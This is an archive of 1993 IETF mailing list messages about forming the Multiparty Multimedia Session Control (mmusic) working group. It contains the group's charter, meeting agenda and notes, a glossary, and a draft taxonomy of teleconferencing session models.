Posted-Date: Thu, 20 May 1993 10:33:35 -0700
Message-Id: <199305201733.AA07574@elm.isi.edu>
Received: by elm.isi.edu (5.65c/4.0.3-4)
	id <AA07574>; Thu, 20 May 1993 10:33:35 -0700
To: confctrl, bell@dcs.qmw.ac.uk
Subject: Re: Multimedia SIGs
Cc: schooler

The activities and mailing lists that might be related (many indirectly,
some directly):

    - Internet teleconferencing mailing lists:

	rem-conf@es.net    [rem-conf-request@es.net to subscribe]
	confctrl@isi.edu   [confctrl-request@isi.edu to subscribe]

    - Multimedia mail:

	mmm-people@isi.edu [mmm-people-request@isi.edu to subscribe,
                            the same as readnews' comp.mail.multi-media group]

    - Readnews groups:

	comp.mail.multi-media
	comp.groupware
	sci.virtual-worlds
	comp.multimedia
	comp.human-factors

    - Upcoming Conferences/Task Forces:

	ACM Multimedia '93, Aug 1-6, Anaheim, CA
	CSCW (don't know the particulars of the next one to be held;
		there's probably a European CSCW this year, then 
		a CSCW in the US in '94).
	IEEE task forces on Multimedia Technology and Multimedia Computing
		[to follow discussion/issues you might send to 
		 tf-mm-request@i4serv.infomatik.rwth-aachen.de]

    - ACM is about to publish their first issue of the new journal
      Journal of Multimedia Systems; IEEE will be publishing their new
      multimedia-related journal sometime within the next year.

    - SIGs of interest: SIGCHI, SIGGRAPH, SIGOIS, SIGCOMM.
      [Computer-Human Interaction, Graphics, Office Information Systems,
      Communications]	
      ACM should be able to provide subscription info.  Local chapters
      often exist.

>From bell@dcs.qmw.ac.uk Fri May 14 10:38:34 1993
>Date: Fri, 14 May 1993 18:18:22 +0000
>To: confctrl@ISI.EDU
>From: bell@dcs.qmw.ac.uk (Dave Bell)
>Subject: Multimedia SIGs
>Cc: bell@dcs.qmw.ac.uk
>
>Dear Administrator of the conference-control list,
>
>I have been passed to you by Chris Adie of ed.ac.uk in order to identify an
>appropriate conference group. 
>
>My focus is that of the user and group issues (cognitive and social issues)
>surrounding multimedia usage. 
>
>My interests have evolved throughout the MUMS* project, extending from
>technologies and data compression formats to generation and interpretation
>of multimodal interactions, and I must now focus upon the modelling of
>multimedia usage in the group context in order to influence application
>design. 
> 
>If you can point me to a forum for such discussion sich as SIGs, mail-list
>groups or other possible sources of this information. Great.
>
>(* MUMS is a SERC (UK Govt) funded project)
>
>many thanks
>dave bell
>
>
>: Dave Bell  (HCI Researcher)    : Internet: bell@dcs.qmw.ac.uk :
>: Computer Science Dept          : UUCP:     bell@qmw-dcs.UUCP  :
>: Queen Mary & Westfield College : Phone:    +44 071-975 5256/8 :
>: Mile End Road,LONDON,E1 4NS,UK : Fax:      +44 081-980 6533   :   
>
>

From jstewart@CNRI.Reston.VA.US  Thu Jun 24 13:49:48 1993
Received: from IETF.nri.reston.VA.US (ietf.cnri.reston.va.us) by venera.isi.edu (5.65c/5.61+local-12)
	id <AA06588>; Thu, 24 Jun 1993 14:52:43 -0700
Received: from [127.0.0.1] by IETF.CNRI.Reston.VA.US id aa17241;
          24 Jun 93 17:49 EDT
From: IESG Secretary <iesg-secretary@CNRI.Reston.VA.US>
To: IETF-Announce: ;
Cc: confctrl
Subject: WG ACTION: Multiparty Multimedia Session Control (mmusic)
Date: Thu, 24 Jun 93 17:49:48 -0400
Sender: jstewart@CNRI.Reston.VA.US
Message-Id:  <9306241749.aa17241@IETF.CNRI.Reston.VA.US>


A new working group has formed in the Transport Area of the
IETF.  For more information, please contact the working
group's chair(s), or the Transport Area's director.

John Stewart
IESG Secretary


Multiparty Multimedia Session Control (mmusic)
----------------------------------------------
 
 Charter 
 
 Chair(s):
     Eve Schooler  <schooler@isi.edu>
     Abel Weinrib  <abel@bellcore.com>
 
 Transport Area Director(s) 
     Allison Mankin  <mankin@cmf.nrl.navy.mil>
 
 Mailing lists: 
     General Discussion:confctrl@isi.edu
     To Subscribe:      confctrl-request@isi.edu
     Archive:           venera.isi.edu:~/confctrl/confcrtl.mail
 
Description of Working Group:
 
  The demand for Internet teleconferencing has arrived, yet an
  infrastructure to support this demand is barely in place.  Multimedia
  session control, defined as the management and coordination of
  multiple sessions and their multiple users in multiple media (e.g.,
  audio, video), is one component of the infrastructure.  The
  Multiparty Multimedia Session Control Working Group is chartered to
  design and specify a protocol to perform these functions.
  
  The protocol will provide negotiation for session membership,
  underlying communication topology and media configuration.  In
  particular, the protocol will support a user initiating a multimedia
  multiparty session with other users (``calling'' other users) over the
  Internet by allowing a teleconferencing application on one workstation
  to explicitly rendezvous with teleconferencing applications running on
  remote workstations.  Defining a standard protocol will enable
  session-level interoperability between different teleconferencing
  implementations.
  
  The focus of the Working Group is to design a session negotiation
  protocol that is tailored to support tightly-controlled conferences.
  The MBONE currently carries primarily loosely-controlled sessions,
  i.e., sessions with little to no interaction among members and with no
  arbitration facility, security, or coordination of quality-of-service
  options for time-critical media.  Users may learn of available sessions
  using the ``sd'' utility or other out of band mechanisms (e.g., e-mail).
  However, there is clearly also a need for tightly-controlled sessions
  that provide mechanisms for directly contacting other users to initiate
  a session and for negotiating conference parameters such as membership,
  media encodings and encryption keys.  In addition, these sessions
  should support renegotiation during a session, for example to add or
  delete members or change the media encoding.  It is possible that the
  protocol will, in the limiting case, also support loosely-controlled
  sessions.
  
  The main goal of the Working Group will be to specify the session
  control protocol for use within teleconferencing software over the
  Internet.  The Working Group will focus on the aspects of the session
  control problem that are well understood, while keeping an eye on
  evolving research issues.  Toward this end, the Working Group has made
  an inventory of existing conferencing systems and their session control
  protocols.  The Working Group will document the requirements of the
  existing prototypes as a basis for the protocol development.  The
  Working Group will iteratively refine the protocol based on
  implementation and operational experience.

  Furthermore, the Working Group will coordinate with other efforts
  related to multimedia conferencing, such as directory services
  for cataloguing users and conferences, the RTP and RTCP protocols
  developed by the Audio/Video Transport working group, resource
  reservation and management at the network level, and schemes for
  multicast address allocation.  
 
 Goals and Milestones: 
 
   May 93 Hold an on-line working group meeting to discuss the conference 
          control framework, the relevant terminology, a functional taxonomy 
          and how different conversational styles place requirements on session
          protocols.                                                           

   Jun 93 Submit the Conference Session Control Protocol to the IESG for 
          consideration as an Experimental Protocol.                           

   Aug 93 Post an Internet-Draft describing the Session Control Requirements.  

   Nov 93 Post an Internet-Draft of the Session Control Protocol.              

   Mar 94 Submit a revised Internet-Draft based on implementation experience.  


From abel@thumper.bellcore.com  Fri Jul  2 13:31:22 1993
Received: from thumper.bellcore.com by venera.isi.edu (5.65c/5.61+local-12)
	id <AA16929>; Fri, 2 Jul 1993 14:31:50 -0700
Received: from able.bellcore.com by thumper.bellcore.com (4.1/4.7)
	id <AA11485> for confctrl@ISI.EDU; Fri, 2 Jul 93 17:31:23 EDT
Received: by able.bellcore.com (5.57/4.7)
	id AA17570; Fri, 2 Jul 93 17:31:23 -0400
Received: from Messages.8.4.N.CUILIB.3.45.SNAP.NOT.LINKED.able.pmax.ul4
          via MS.5.6.able.pmax_ul4;
          Fri,  2 Jul 1993 17:31:22 -0400 (EDT)
Message-Id: <UgB_YeC0M2ULIfZNRf@thumper.bellcore.com>
Date: Fri,  2 Jul 1993 17:31:22 -0400 (EDT)
From: Abel Weinrib <abel@thumper.bellcore.com>
Content-Type: text/plain; charset=US-ASCII
To: confctrl, rem-conf@es.net
Subject: Multiparty Multimedia Session Control (mmusic)
Cc: mankin@cmf.nrl.navy.mil

A new IETF working group has been formed (in the Transport Area) to
design and specify a protocol for multiparty multimedia session control.
 The charter is attached below.  This working group will be meeting at
the next IETF in Amsterdam on Tuesday 7/13 and Wednesday 7/14 at 9:00
AM.  Both sessions will be multicast over the mbone on channel 2.

A preliminary agenda for the meeting appears below, following the
charter.  Other related information will follow on the confctrl mailing
list.  (If you received this mail more than once, accept our
apologies--we wanted this first message to get a broad exposure.)

Hope to see you in Amsterdam.

Eve Schooler
Abel Weinrib

================
Multiparty Multimedia Session Control (mmusic)
----------------------------------------------
 
 Charter 
 
 Chair(s):
     Eve Schooler  <schooler@isi.edu>
     Abel Weinrib  <abel@bellcore.com>
 
 Transport Area Director(s) 
     Allison Mankin  <mankin@cmf.nrl.navy.mil>
 
 Mailing lists: 
     General Discussion:confctrl@isi.edu
     To Subscribe:      confctrl-request@isi.edu
     Archive:           venera.isi.edu:~/confctrl/confcrtl.mail
 
Description of Working Group:
 
  The demand for Internet teleconferencing has arrived, yet an
  infrastructure to support this demand is barely in place.  Multimedia
  session control, defined as the management and coordination of
  multiple sessions and their multiple users in multiple media (e.g.,
  audio, video), is one component of the infrastructure.  The
  Multiparty Multimedia Session Control Working Group is chartered to
  design and specify a protocol to perform these functions.
  
  The protocol will provide negotiation for session membership,
  underlying communication topology and media configuration.  In
  particular, the protocol will support a user initiating a multimedia
  multiparty session with other users (``calling'' other users) over the
  Internet by allowing a teleconferencing application on one workstation
  to explicitly rendezvous with teleconferencing applications running on
  remote workstations.  Defining a standard protocol will enable
  session-level interoperability between different teleconferencing
  implementations.
  
  The focus of the Working Group is to design a session negotiation
  protocol that is tailored to support tightly-controlled conferences.
  The MBONE currently carries primarily loosely-controlled sessions,
  i.e., sessions with little to no interaction among members and with no
  arbitration facility, security, or coordination of quality-of-service
  options for time-critical media.  Users may learn of available sessions
  using the ``sd'' utility or other out of band mechanisms (e.g., e-mail).
  However, there is clearly also a need for tightly-controlled sessions
  that provide mechanisms for directly contacting other users to initiate
  a session and for negotiating conference parameters such as membership,
  media encodings and encryption keys.  In addition, these sessions
  should support renegotiation during a session, for example to add or
  delete members or change the media encoding.  It is possible that the
  protocol will, in the limiting case, also support loosely-controlled
  sessions.
  
  The main goal of the Working Group will be to specify the session
  control protocol for use within teleconferencing software over the
  Internet.  The Working Group will focus on the aspects of the session
  control problem that are well understood, while keeping an eye on
  evolving research issues.  Toward this end, the Working Group has made
  an inventory of existing conferencing systems and their session control
  protocols.  The Working Group will document the requirements of the
  existing prototypes as a basis for the protocol development.  The
  Working Group will iteratively refine the protocol based on
  implementation and operational experience.

  Furthermore, the Working Group will coordinate with other efforts
  related to multimedia conferencing, such as directory services
  for cataloguing users and conferences, the RTP and RTCP protocols
  developed by the Audio/Video Transport working group, resource
  reservation and management at the network level, and schemes for
  multicast address allocation.  
 
 Goals and Milestones: 
 
   May 93 Hold an on-line working group meeting to discuss the conference 
          control framework, the relevant terminology, a functional taxonomy 
          and how different conversational styles place requirements on session
          protocols.                                                           

   Jun 93 Submit the Conference Session Control Protocol to the IESG for 
          consideration as an Experimental Protocol.                           

   Aug 93 Post an Internet-Draft describing the Session Control Requirements.  

   Nov 93 Post an Internet-Draft of the Session Control Protocol.              

   Mar 94 Submit a revised Internet-Draft based on implementation experience.  


===================
Agenda: Topics for Discussion
-----------------------------
- Charter: motivation behind forming a working group, name change, 
   narrower focus, Transport Area, milestone schedule
- Terminology discussion: glossary handout
- Mappings document: status report
- Framework:  how the protocol might fit in to a general framework
    for multimedia multiparty teleconferencing
- Functional taxonomy: Define the services the protocol provides:
    o Descriptions of what we want to be able to do, e.g., negotiate 
      about membership, media, encryption keys, privacy policies, etc.
    o Priorities: membership, media capabilities, qos negotiation, session 
      merging, side-chats?
    o Other sorts of interactions?
    o Other applications that could make use of the protocol
- Implementation realities: messaging choices, ease of implementation,
  impact of light-weight choices
- Operation Environment Realities: Internet constraints, RTCP 
- Strawman Protocol
    o How general?  What would it look like?
    o Communications blocks
    o Negotiation styles
    o General session functions
    o Parameterization
    o Sample message exchanges or session functions
- First Milestone: protocol requirements doc, more writing assignments
- Update from Liaisons 
- Bibliography: ISI has space to be central repository for docs
- Other topics

From abel@thumper.bellcore.com  Wed Jul  7 10:06:52 1993
Received: from thumper.bellcore.com by venera.isi.edu (5.65c/5.61+local-12)
	id <AA27059>; Wed, 7 Jul 1993 11:06:55 -0700
Received: from able.bellcore.com by thumper.bellcore.com (4.1/4.7)
	id <AA03523> for confctrl@isi.edu; Wed, 7 Jul 93 14:06:53 EDT
Received: by able.bellcore.com (5.57/4.7)
	id AA19963; Wed, 7 Jul 93 14:06:53 -0400
Received: from Messages.8.4.N.CUILIB.3.45.SNAP.NOT.LINKED.able.pmax.ul4
          via MS.5.6.able.pmax_ul4;
          Wed,  7 Jul 1993 14:06:52 -0400 (EDT)
Message-Id: <sgCl2wm0M2ULFBcFsV@thumper.bellcore.com>
Date: Wed,  7 Jul 1993 14:06:52 -0400 (EDT)
From: Abel Weinrib <abel@thumper.bellcore.com>
Content-Type: text/plain; charset=US-ASCII
To: confctrl
Subject: mmusic

As you will have seen from a previous message, the Multiparty Multimedia
Session Control  Working Group is now official.  We will be meeting
Tuesday and Wednesday at 9:00 at next week's IETF in Amsterdam.  Eve
Schooler and I hope to see many of you there.  A draft agenda appeared
in the previous message.

As you will see from the charter, the working group has a new name (no
longer   "Conference Control" as the BOF was named) and a somewhat
narrower charter than we started out with.  The new name and the
narrower charter both have the same motivation:  to focus our work on a
reasonably well-defined problem so that we can make clear progress,
declare success, and move on to new topics of interest.  (I might
mention that the narrower focus was also strongly urged by the IESG
during the working group creation process.)  We were also moved from the
Applications Area to the Transport Area--one reason given was our strong
ties to the Audio-Video Transport Working Group--but we don's foresee
this move making any significant difference to our work.

A few of us have been working on a framework that shows how session
control might fit into the larger picture of multimedia conferencing,
and also on a straw-person proposal for what the session control
protocol should look like.  We plan to talk about these in some detail
at the IETF sessions.

Following this message, you will get a number of additional pieces of
information, including:
-- notes that Eve Schooler took on the mbone meeting we had in May
-- the current version of the glossary that Lakshman
<lakshman@ms.uky.edu> has contributed
-- a discussion of mapping of session styles into their underlying
session control protocols by Eve Schooler

See you in Amsterdam!

Abel Weinrib
Eve Schooler

From abel@thumper.bellcore.com  Wed Jul  7 10:11:13 1993
Received: from thumper.bellcore.com by venera.isi.edu (5.65c/5.61+local-12)
	id <AA27292>; Wed, 7 Jul 1993 11:11:15 -0700
Received: from able.bellcore.com by thumper.bellcore.com (4.1/4.7)
	id <AA03994> for confctrl@isi.edu; Wed, 7 Jul 93 14:11:14 EDT
Received: by able.bellcore.com (5.57/4.7)
	id AA19973; Wed, 7 Jul 93 14:11:13 -0400
Received: from Messages.8.4.N.CUILIB.3.45.SNAP.NOT.LINKED.able.pmax.ul4
          via MS.5.6.able.pmax_ul4;
          Wed,  7 Jul 1993 14:11:13 -0400 (EDT)
Message-Id: <ggCl71C0M2ULRBcGkG@thumper.bellcore.com>
Date: Wed,  7 Jul 1993 14:11:13 -0400 (EDT)
From: Abel Weinrib <abel@thumper.bellcore.com>
Content-Type: text/plain; charset=US-ASCII
To: confctrl
Subject: Fwd: mtg notes from May
References: <199306281607.AA12393@elm.isi.edu>


                Confctrl Meeting over MBONE
                   Wednesday, May 5, 1993

		
The goal of the meeting was to provide a status report, which mostly
focused on an evolving session control framework.  The main adjustment
has been to the relationship between the session manager and the media
agents.  The organization of the system has moved away from the the
session manager as the center of the architecture, and away from the
idea of the session manager being at one "level" in the layered,
modular architecture and the media agents being at another "level".
The current thinking is that the session manager and media agents have
more or less equal stature in the larger scheme of things.

Discussion also touched on the issue of how the architecture will
support users rendez-vous'ing with other users.  The notion of a per
workstation daemon was raised.  The daemon would be contacted on behalf
of all users whose sessions were rooted at that machine.  Henning
Schulzrinne proposed a framework that includes a per machine forwarding
host for location independence, an agent per user, and an agent per
media handler.  However, as the entry point will influence the
protocol, there was concern that the demultiplexing capability would
hide enough information to change the protocol.  Nonetheless, the issue
of how to find a user needs to be solved.

In discussing the group's charter, several people re-iterated an
interest in providing a membership service that happens also to support
media integration, rather than the other way around (a media
integration service that happens also to support membership).  One
suggestion was to think about the protocol functionality in stages;  
initially, convey membership information beyond what is currently
exchanged in the loosely-controlled protocols in use on the
MBONE, then support an explicit group request-reply service (e.g., the
ability to answer yes/no to participation requests), and finally
include mechanisms for multiparty negotiation.

Thus, the resulting protocol was described as a group negotiation
service.  The protocol would negotiate over membership in the most
common case, but also over other conference needs, such as media
configurations, end-system capabilities, user preferences, and policy
decisions.

Naturally, the larger question was raised about which session model (or
range of session types) are we targeting to support.  Dick Cogger
pointed out that many of the conferences currently happening on the
MBONE entail a few active participants with many more listeners.
Therefore, it is important to study the several-to-many model, and to
consider the impact of receive-only participants.  By considering the
several-to-many model, we can use it as a basis to work toward the
1-to-many and many-to-many cases.

This led into a discussion about session policies, such as who has
permission to send versus receive, and also discussion about
the policy enforcement problem.  Ideally, we would like to devise
a protocol that is largely unaffected by variations in policy.

During a discussion of mappings between session models and their 
underlying session control protocols, reference was made to the paper 
"A Characterization of Multi-Party Interactive Multimedia Applications"
by Szyperski and Ventre of UCB's Tenet group.  This turns out to be a 
good starting point for a taxonomy to describe the various 
session models.

MBONE participation was greatly appreciated; several participants
came forward to offer to help write documents as well.  Unfortunately,
problems with ttl's (experienced by participants at Cornell and 
U.Wisconsin) and with packet loss (experienced by participants at SICS) 
hampered efforts to conduct an entirely error-free telemeeting.

----------
Notes prepared by Eve Schooler, schooler@isi.edu


From abel@thumper.bellcore.com  Wed Jul  7 10:14:06 1993
Received: from thumper.bellcore.com by venera.isi.edu (5.65c/5.61+local-12)
	id <AA27374>; Wed, 7 Jul 1993 11:14:10 -0700
Received: from able.bellcore.com by thumper.bellcore.com (4.1/4.7)
	id <AA04200> for confctrl@isi.edu; Wed, 7 Jul 93 14:14:07 EDT
Received: by able.bellcore.com (5.57/4.7)
	id AA19983; Wed, 7 Jul 93 14:14:07 -0400
Received: from Messages.8.4.N.CUILIB.3.45.SNAP.NOT.LINKED.able.pmax.ul4
          via MS.5.6.able.pmax_ul4;
          Wed,  7 Jul 1993 14:14:06 -0400 (EDT)
Message-Id: <0gCl9iW0M2ULBBcHIZ@thumper.bellcore.com>
Date: Wed,  7 Jul 1993 14:14:06 -0400 (EDT)
From: Abel Weinrib <abel@thumper.bellcore.com>
Content-Type: text/plain; charset=US-ASCII
To: confctrl
Subject: Fwd: latest glossary
References: <199306291053.AA13693@elm.isi.edu>

This document, prepared by Lakshman <lakshman@ms.uky.edu> is a list of
terms and their definitions for the mmusic working group.  Many of the
definitions were extracted from other documents and from discussions
held during WG sessions.

The main naming dilemma centers around what to
call the user-and-media association; a conference, conversation, 
collaboration, session, aggregated session?!  Then, what to call a
media session: media session, transport session, data session, or
simply session?

Please comment with any strong preferences and/or opinions.  We plan to
discuss this document during the mmusic IETF sessions.



	 Glossary for Multiparty Multimedia Session Control WG
	 -----------------------------------------------------



Aggregated Session
	A logical abstraction that may consist of one or more related
	media sessions, among multiple in real time.

Aggregated Session Control 
	The management and coordination of multiple sessions,
	and their multiple users in multiple media.  The term
	session is used for shorthand.

Conference
	For the purposes of mmusic, a multiparty multimedia telemeeting;
	an aggregrated session.

Collaboration
	A more cooperative form of a conference.

Conference Scalability
	The ability of a conference to scale up in size.  Two metrics 
	of size include large numbers of remote participants and widely 
	dispersed participants.

Room-to-Room Conferencing
	Conferencing that involves groups of people convening in rooms, 
	then conferencing between rooms.

Desktop Conferencing
	Conferencing from one's desktop computer.  This has a personal
	and more spontaneous flavor than room-to-room conferencing.

Conference Session Manager
	An entity which resides at each user's end system to coordinate
	the orchestration, maintenance and interaction of sessions.  

Distributed Control
	A control model where control functions are distributed
	among conferees.

Centralized Control
	A control model where control functions are the responsibility
	of a centralized agent.

Tight-Control Session
	A session style in which state is actively shared
	among participants and that aims to keep state consistent among 
	participants.  

Loose-Control Session
	A session style in which state information is passively shared
	among participants.  In the extreme, no state sharing is performed.
 
Media Agent
	An entity that handles media-specific functions such
	as encoding, compression and transport packetization
	that are associated with a session.
	Media in conferences might include audio, video, graphics or 
	text.

Media Session
	A transport session (point-to-point or multipoint) in a single 
	medium.

Media Configuration Management
	The management of media descriptions, including
	the static end-system descriptions (hardware and software 
	capabilities), as well as the negotiated
	per-session preferences.

Conferee
	A party involved in a conference.  An endpoint for session control
	communication.

Initiator
	A participant who initiates a conference.

Chair
	A participant who is designated as having more authority than
	other members of the conference.  For example, the chair might 
	decide the policy on late joins, media floor control, 
	interaction style, etc.

Receiver
	A conferee who receives session data. 

Sender
	A conferee who transmits/sends session data.

Passive Participant
	A conferee who only acts as a receiver.

Active Participant
	A conferee who acts both as a sender and receiver.

Session Relay
	An entity that relays data between participants, by acting
	as a go-between. 

Floor Control
	Coordinated control over who may or may not send and/or receive data.

Connectivity Style
	The interconnectivity of conferees (e.g., 1-to-N, N-to-N,
	M-to-N) in either the control or data realm.

Access Control
	The accessibility of a session to potential participants.
	
Conference Directory Service
	A directory that provides user network addresses, conference
	IDs and addresses, the conference begin time, conference topic,
	etc.

Conference Scheduling
	The advertisement of a conference's start time with a session 
	directory service.

Interaction Policies
	The model and rules used by participants to interact with one 
	another in a conference. 



From abel@thumper.bellcore.com  Wed Jul  7 10:14:55 1993
Received: from thumper.bellcore.com by venera.isi.edu (5.65c/5.61+local-12)
	id <AA27401>; Wed, 7 Jul 1993 11:14:59 -0700
Received: from able.bellcore.com by thumper.bellcore.com (4.1/4.7)
	id <AA04269> for confctrl@isi.edu; Wed, 7 Jul 93 14:14:56 EDT
Received: by able.bellcore.com (5.57/4.7)
	id AA19987; Wed, 7 Jul 93 14:14:55 -0400
Received: from Messages.8.4.N.CUILIB.3.45.SNAP.NOT.LINKED.able.pmax.ul4
          via MS.5.6.able.pmax_ul4;
          Wed,  7 Jul 1993 14:14:55 -0400 (EDT)
Message-Id: <QgCl_T20M2ULNBcHsR@thumper.bellcore.com>
Date: Wed,  7 Jul 1993 14:14:55 -0400 (EDT)
From: Abel Weinrib <abel@thumper.bellcore.com>
Content-Type: text/plain; charset=US-ASCII
To: confctrl
Subject: Fwd: ramblings on protocol range
References: <199306281608.AA12402@elm.isi.edu>

							Eve M. Schooler
							Mmusic Working Group
							June 1993


FROM MODELS TO PROTOCOLS:
In search of a session taxonomy

Herein lies a first attempt to map different session styles into their 
underlying session control protocols.  Requirements for the control
protocols are given in descriptive terms, rather than in terms of
packet exchanges or a possible Internet implementation; however, for
a second draft these would be useful.


1. Session Models

There exists a continuum of session scenarios for group meetings
[1][2][5][6].  The picture below only lists a sample from the full range
and only crudely approximates an ordering.  Secure variations on these
meetings also exist.



        impromptu 
         hallway
         meetings        classroom        seminar      pay-per-view

    |-------|-------|--------|-------|-------|-------|-------|-------|

   pt2pt       arch design         panel          lecture           TV 
   phone        review/          discussion/                     broadcast
    call     "quilting bee"   presidential debate




2. Differentiation among Models

Within this spectrum, different session types have different
requirements and policies [1][2][5].  There are different types of
participation (active versus passive), gradations of identification
policies (known vs anonymous participants), and extreme variations in
the degree of interconnectivity among participants, both in terms of
the session and the media topology.  In certain cases, symmetry exists
for N-way communication capabilities, while in other cases conferees
are asymmetrically interconnected, relying on an initiator, moderator,
filter/reflector or a privileged set of designees to coordinate
communication on behalf of others.

Explicit vs implicit communication is another distinguishing feature;
this relates to whether or not the session has policies attached to it,
such as who dictates membership rules, the extent to which session
information is disseminated or if participant information is meant to
be kept globally coherent.  Finally, the decision to model the system
in a centralized or distributed fashion influences the degree of
messaging synchrony and causality.

Additional attributes to differentiate among session types are proposed
in [UCB]; the model of interaction (static, controlled or dynamic), the
accessibility to the information (controlled, uncontrolled), and the
event scheduling (planned, unplanned).


3. Session Control Protocols

Each session type is reflected in an underlying session control
protocol.  Accordingly, a series of different session control protocols
exist.  However, the degree of similarity between control protocols is
an interesting matter of speculation, and under investigation by a
number of researchers.  The issue at hand is how closely related are
the protocols in behavior, or how much would one protocol need to
change to support a similar or "neighboring" session model?

Although it is probably safe to say that no one algorithm will provide
the range of functionality nor scalability that is needed to support
the existing variety in session types, we should be able to use one
session protocol to support a cluster of related session schemes based on
slight variations in the parameterization of the protocol.


4. Communication Models

One unifying approach has been to classify sessions according to their
communication model, such as loosely-controlled or tightly-controlled.
Communication models might be viewed as providing a larger granularity
for classification of session types.  The MBONE currently carries
primarily loosely-controlled sessions, i.e., sessions with little to no
interaction among members.  Consequently there is no arbitration
facility for explicit membership, secure sessions, or coordination of
quality-of-service options for time-critical media.  Users may learn of
available sessions using the "sd" utility or other out of band
mechanisms such as e-mail.

However, there is clearly also a need for tightly-controlled sessions
that provide mechanisms for directly contacting other users to initiate
sessions and for negotiating conference parameters such as membership,
media encodings and encryption keys.  In addition, these sessions
should support renegotiation during a session, for example to add or
delete members or to change a media encoding.  It is possible that a
tight-control protocol will, in the limiting case, also support certain
looser controlled algorithms (e.g., the one used by vat, nv and nevot
[7][8][9]).

Because the range of session types is really a continuum, the boundary
between loose and tight control is blurry.  However, at a very basic
level, the main difference is the degree of synchronized communication
among participants.


5. Communication Strictness

In a message to the working group mailing list, Jon Crowcroft offered
another approach for classifying conference session models [3].  He 
suggested that session control may be characterized in three ways:

	1. How distributed?
	2. How tight/loose?
	3. How reliable? ordered? available?

The latter two might be described as "communication strictness",
and the first characteristic may be an implementation decision to
support 2&3.  He went on to state that loose control is easier to
implement in a distributed fashion, while tight control is easier to
implement centrally.  We are basically in agreement with this latter
statement, but claim that a distributed solution is needed for
both loosely- and tightly-controlled approaches for Internet operation.


6. Mappings of Conversation Styles 

As we move from point-to-point phone calls to
TV broadcasts, sessions require progressively less coordination
(from tight to loose control), are less rigid (fewer policies), and
entail less communication overhead (because members have less need to
share session state).  However, the further along the axis, the larger
the sessions, the more need to support membership dynamics, and the
larger the percentage of receivers to senders of information.

6.1 Loose control in the extreme: TV broadcast model

At the far end of the axis, the loosest model that is useful
might be a conference where there is implicit session establishment;
there is no explicit request to join a session.  Anyone may join.
No one is restricted.  In addition, there is no communication among
participants, meaning no session information is distributed among
conferees, such as who else is participating; the sender simply sends
its data (e.g., to a group address), and the receivers simply tune into
that address.  The sender does not know who is listening.  The
receivers only know the identification of the sender, and none of the
other listeners.  There is no attempt to maintain either a shared
global view of the conference nor an approximate view of the
conference.  Because all conferees are independent, it is easy to
create a distributed model of this.  The only piece of information that
needs to be known externally about the conference is "the channel", so
that others may join in.  The notion of a published channel connotes 
public access and pre-arrangement.

6.2 A more structured TV broadcast: Pay-per-view model

Pay-per-view might be described as a more structured type of TV
broadcast.  Typically, one designee has the responsibility to track
session participation for billing purposes.  The designee institutes
access control policies for the session, making joining a session an
explicit task.  In order for billing to work properly, the admission
decisions need to be accurate and thus reliable.  Likewise, if users
are being charged for session hookup and/or media delivery, then
they want accurate media delivery.

As with the TV broadcast model, there is the implication that viewing
is unidirectional, but this is open to debate.  There is also the open
issue that other participants may or may not share session information
among themselves, whereas they must share their identity with the
designee.  This scheme clearly has a more centralized flavor to it, and
introduces policies for exclusivity, both in who it allows in to the
session and to whom it advertizes its channel.

6.3 Bidirectional multicasts with modest state sharing

A slight variant on a TV broadcast is the kind of session that is
supported by RTCP, as implemented in nv, nevot, vat et al.  Although
the approach to session establishment is similar, a notable difference
is that, once a user is part of a session, the user regularly
advertizes its participation and, by listening on that same address
port, collects other participants' information.  Thus, this model
maintains approximate "session state", but is willing for it to be
constructed asynchronously and for different participant's to see
different versions of it.  Due to the passive nature of the information
sharing, there is no requirement that communication with other
conferees be reliable.

Another dissimilarity is the media topology, or who actually
sends/receives data, which may be something other than unidirectional.
The philosophy is that all have equal access.  Yet, observed conferences
on that MBONE show that, for large conferences, there are typically only 
a few senders and many more receivers.

An early version of the ivs tool used a slight variant on the RTCP
approach [10].  While in most regards the control model for ivs was the
same as other MBONE tools, in certain instances ivs actively requested
that other participants identify themselves.  This cut down on the lag
time for reconstruction of "session state", and was used to help
resynchronize video (???).

As the number of session participants grows extremely large, the
relation between the active versus passive communication approach
changes slightly.  While passive communication normally has lower
overhead, periodic updates of session information become unreasonable
for very large sessions. A lengthened retransmit period reduces
overhead, but risks increasing inconsistencies in session state among
members.  At some point, active requests may become more effective than
periodic rebroadcasts; for instance at the beginning of a session, or
specifically when the session completes.  While this works well when a
session has few changes warranting further message exchanges, if the
modifications are highly dynamic, the session may be bogged down with
just as many active retransmits as if periodic, passive messages were
exchanged.  Therefore, active communication is a win only if the
frequency of active requests remains low, since an active request
potentially generates N reply messages, versus the 1 message for
passive information sharing.  Active requests also have the potential
to trigger message implosion.

Doing away with n-way information sharing (even of the passive variety)
may also help with overhead.  This implies either reverting to no
communication between conferees, or instituting a more centralized
solution where one designee maintains session information.

6.4  Medium-sized asymmetric sessions

Several of the session scenarios (classroom, panel discussion/
presidential debate, seminar, lecture) are variations on the same
theme.  They all represent forums where some amount of time is devoted
to a main presentation, followed by or interspersed with audience
participation.  For all of these session types, there is an increased
sense of formality or orderliness in the interactions, though this
depends in part on one's experiences in classrooms etc.  Like
pay-per-view, there is a modicum of session maintenance that may be
used to track participation, whether to assess someone's performance
or to verify that a conferee is registered to attend.  It is more
likely that the session will be regulated, and thus require some type
of floor control.  In other words, there would be restrictions on
who is allowed to play an active role in information dissemination,
and when they are allowed to do so.  Even though the number of active 
participants may be dwarfed by the number of passive participants, the 
ability to support interactivity is a key ingredient.

The more official nature of these meetings requires that the
sessions be scheduled in advance, and announced in a more public fashion.
The dynamics of membership may be quite high for a lecture with several
hundred people (e.g., during a conference or workshop), but is expected
to be quite low for a classroom where each individual's visibility is high
(at least in the non-electronic realm!).  Again, sender identity is important,
but increasingly as we head away from the TV model, the identification
and sharing of passive participant information becomes important, 
as does global state synchrony (all participant know what other participants 
know).

6.5 Smaller, impromptu sessions

The remaining cluster of session types (architectural design
review/quilting bee, impromptu hallway meetings, point-to-point phone
call) are closely related to each other.  They represent highly
collaborative sessions.  As such, multiway communication is required.
In all likelihood, group members may participate to an equal degree (as
senders) and will have equal access to session-related information,
such as who else is involved.  The informality and spontaneity of these
meetings may make policy setting more fluid.  A need exists to support
group negotiations.

To foster this type of collaboration, the session are likely to be 
relatively small (compared with a TV broadcast, but not with a 
classroom).  In contrast to larger sessions, group membership may
be explicit and more static.  In the limiting case, this model
becomes a point-to-point call.

Although smaller sessions have a larger percentage of active
participation by conference members, the threshold for the number
of maximum active senders is the same regardless of session size or 
type [4].  This is a function not only of network bandwidth limits, but
